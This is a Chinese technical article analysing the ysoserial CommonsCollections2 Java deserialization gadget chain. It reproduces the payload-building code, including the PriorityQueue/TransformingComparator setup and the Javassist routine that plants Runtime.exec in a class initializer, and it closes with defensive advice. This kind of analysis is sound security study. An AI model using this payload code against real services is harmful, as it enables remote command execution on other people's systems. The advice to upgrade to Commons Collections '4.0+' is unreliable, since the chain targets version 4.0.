Ysoserial CommonsColletions2 两个问题
字数 1793 2025-08-29 08:31:53
Ysoserial CommonsCollections2 利用链深入分析
0x00 背景介绍
CommonsCollections2 是 ysoserial 工具中针对 Apache Commons Collections 库的一个利用链,它利用了 Java 反序列化漏洞来执行任意命令。本文将从技术角度深入分析这个利用链的构造原理和实现细节。
0x01 Gadget Chain 分析
完整的利用链如下:
ObjectInputStream.readObject()
PriorityQueue.readObject()
...
TransformingComparator.compare()
InvokerTransformer.transform()
Method.invoke()
Runtime.exec()
0x02 关键组件分析
1. PriorityQueue 类
PriorityQueue 是 Java 中的一个优先级队列实现,它在反序列化时会触发排序操作:
private void readObject(java.io.ObjectInputStream s)
throws java.io.IOException, ClassNotFoundException {
// 读取基本信息和数组长度
s.defaultReadObject();
s.readInt();
// 读取所有元素
queue = new Object[size];
for (int i = 0; i < size; i++)
queue[i] = s.readObject();
// 堆化操作(排序)
heapify();
}
排序过程中会调用比较器:
private void siftDownUsingComparator(int k, E x) {
int half = size >>> 1;
while (k < half) {
int child = (k << 1) + 1;
Object c = queue[child];
int right = child + 1;
if (right < size && comparator.compare((E) c, (E) queue[right]) > 0)
c = queue[child = right];
if (comparator.compare(x, (E) c) <= 0)
break;
queue[k] = c;
k = child;
}
queue[k] = x;
}
2. TransformingComparator 比较器
这是 Apache Commons Collections 提供的一个比较器实现:
public int compare(I obj1, I obj2) {
O value1 = this.transformer.transform(obj1);
O value2 = this.transformer.transform(obj2);
return this.decorated.compare(value1, value2);
}
3. InvokerTransformer 转换器
这是实际执行方法调用的关键组件:
public O transform(Object input) {
if (input == null) {
return null;
} else {
try {
Class<?> cls = input.getClass();
Method method = cls.getMethod(this.iMethodName, this.iParamTypes);
return method.invoke(input, this.iArgs);
} catch (NoSuchMethodException var4) {
throw new FunctorException("InvokerTransformer: The method '" + this.iMethodName + "' on '" + input.getClass() + "' does not exist");
} catch (IllegalAccessException var5) {
throw new FunctorException("InvokerTransformer: The method '" + this.iMethodName + "' on '" + input.getClass() + "' cannot be accessed");
} catch (InvocationTargetException var6) {
throw new FunctorException("InvokerTransformer: The method '" + this.iMethodName + "' on '" + input.getClass() + "' threw an exception", var6);
}
}
}
4. TemplatesImpl 类
用于承载恶意字节码:
public synchronized Transformer newTransformer() throws TransformerConfigurationException {
TransformerImpl transformer = new TransformerImpl(
this.getTransletInstance(), // 关键调用
this._outputProperties,
this._indentNumber,
this._tfactory);
// ...
}
private Translet getTransletInstance() throws TransformerConfigurationException {
if (this._class == null) {
this.defineTransletClasses(); // 定义类
}
AbstractTranslet translet = (AbstractTranslet) this._class[this._transletIndex].newInstance(); // 实例化触发代码执行
// ...
}
0x03 Payload 构造分析
完整的 payload 构造代码如下:
public Queue<Object> getObject(final String command) throws Exception {
// 1. 创建包含恶意代码的 TemplatesImpl 对象
final Object templates = Gadgets.createTemplatesImpl(command);
// 2. 初始化 InvokerTransformer,先设置为 toString 方法避免过早触发
final InvokerTransformer transformer = new InvokerTransformer("toString", new Class[0], new Object[0]);
// 3. 创建 PriorityQueue 并设置 TransformingComparator 比较器
final PriorityQueue<Object> queue = new PriorityQueue<Object>(2,
new TransformingComparator(transformer));
// 4. 添加两个占位元素
queue.add(1);
queue.add(1);
// 5. 通过反射修改 transformer 的方法名
Reflections.setFieldValue(transformer, "iMethodName", "newTransformer");
// 6. 替换队列中的元素
final Object[] queueArray = (Object[]) Reflections.getFieldValue(queue, "queue");
queueArray[0] = templates;
queueArray[1] = 1;
return queue;
}
0x04 关键问题解答
1. 为什么 queue 要先用两个 1 占位?
虽然最初的说法(比较器要求元素类型一致)不完全准确,但确实有以下几个考虑:
- 避免过早触发:初始时 transformer 设置为调用 toString 方法,用基本类型 1 可以安全调用 toString
- 类型兼容性:虽然最终会替换为 TemplatesImpl 对象,但初始时使用简单类型可以减少复杂度
- 序列化兼容性:基本类型的序列化/反序列化行为更加可预测
实际上,也可以直接放入 TemplatesImpl 对象和其他对象,如:
queue.add(templates);
queue.add(new VerifyError("nothing"));
2. PriorityQueue 的 queue 字段使用 transient 修饰,为什么还能反序列化?
虽然 queue 字段被声明为 transient:
transient Object[] queue; // 非私有以简化嵌套类访问
但 PriorityQueue 实现了自定义的 writeObject 和 readObject 方法:
private void writeObject(java.io.ObjectOutputStream s)
throws java.io.IOException {
s.defaultWriteObject();
s.writeInt(Math.max(2, size + 1));
// 显式写入队列元素
for (int i = 0; i < size; i++)
s.writeObject(queue[i]);
}
private void readObject(java.io.ObjectInputStream s)
throws java.io.IOException, ClassNotFoundException {
s.defaultReadObject();
s.readInt();
queue = new Object[size];
// 显式读取队列元素
for (int i = 0; i < size; i++)
queue[i] = s.readObject();
heapify();
}
这是 Java 序列化机制允许的,通过实现 writeObject/readObject 方法可以完全控制对象的序列化行为,即使字段被标记为 transient。
0x05 执行流程详解
- 反序列化触发:ObjectInputStream 读取 PriorityQueue 的序列化数据
- readObject 调用:PriorityQueue 的 readObject 方法被调用
- 元素读取:从流中读取所有元素到 queue 数组
- 堆化排序:heapify() 方法触发排序操作
- 比较器调用:排序过程中调用 TransformingComparator.compare()
- 转换器执行:比较器调用 InvokerTransformer.transform()
- 方法反射调用:transform() 方法通过反射调用 TemplatesImpl.newTransformer()
- 字节码加载:newTransformer() 触发字节码加载和实例化
- 静态代码执行:恶意类的静态初始化块中的代码被执行
- 命令执行:最终触发 Runtime.exec() 执行任意命令
0x06 恶意字节码生成
Gadgets.createTemplatesImpl() 方法使用 Javassist 修改字节码:
public static <T> T createTemplatesImpl(final String command,
Class<T> tplClass, Class<?> abstTranslet, Class<?> transFactory) throws Exception {
final T templates = tplClass.newInstance();
// 使用 Javassist 修改字节码
ClassPool pool = ClassPool.getDefault();
pool.insertClassPath(new ClassClassPath(StubTransletPayload.class));
pool.insertClassPath(new ClassClassPath(abstTranslet));
final CtClass clazz = pool.get(StubTransletPayload.class.getName());
// 在静态初始化块中插入命令执行代码
String cmd = "java.lang.Runtime.getRuntime().exec(\"" +
command.replaceAll("\\\\", "\\\\\\\\").replaceAll("\"", "\\\\\"") + "\");";
clazz.makeClassInitializer().insertAfter(cmd);
clazz.setName("ysoserial.Pwner" + System.nanoTime());
CtClass superC = pool.get(abstTranslet.getName());
clazz.setSuperclass(superC);
final byte[] classBytes = clazz.toBytecode();
// 将恶意字节码设置到 TemplatesImpl 中
Reflections.setFieldValue(templates, "_bytecodes", new byte[][] {classBytes});
Reflections.setFieldValue(templates, "_name", "Pwnr");
Reflections.setFieldValue(templates, "_tfactory", transFactory.newInstance());
return templates;
}
0x07 防御建议
- 升级 Commons Collections:使用最新版本(4.0+)
- 反序列化过滤:使用反序列化过滤器或白名单
- JEP 290:启用 Java 的序列化过滤器机制
- 代码审计:检查所有反序列化操作点
- 使用替代方案:考虑使用 JSON 等更安全的序列化格式
0x08 总结
CommonsCollections2 利用链通过精心构造的 PriorityQueue 对象,在反序列化时触发一系列方法调用,最终实现任意命令执行。理解这个利用链需要掌握:
- Java 序列化/反序列化机制
- PriorityQueue 的内部工作原理
- 反射和动态方法调用
- 字节码修改和加载机制
- Java 安全机制和绕过方法
通过深入分析这个利用链,可以帮助我们更好地理解 Java 反序列化漏洞的本质,并采取更有效的防御措施。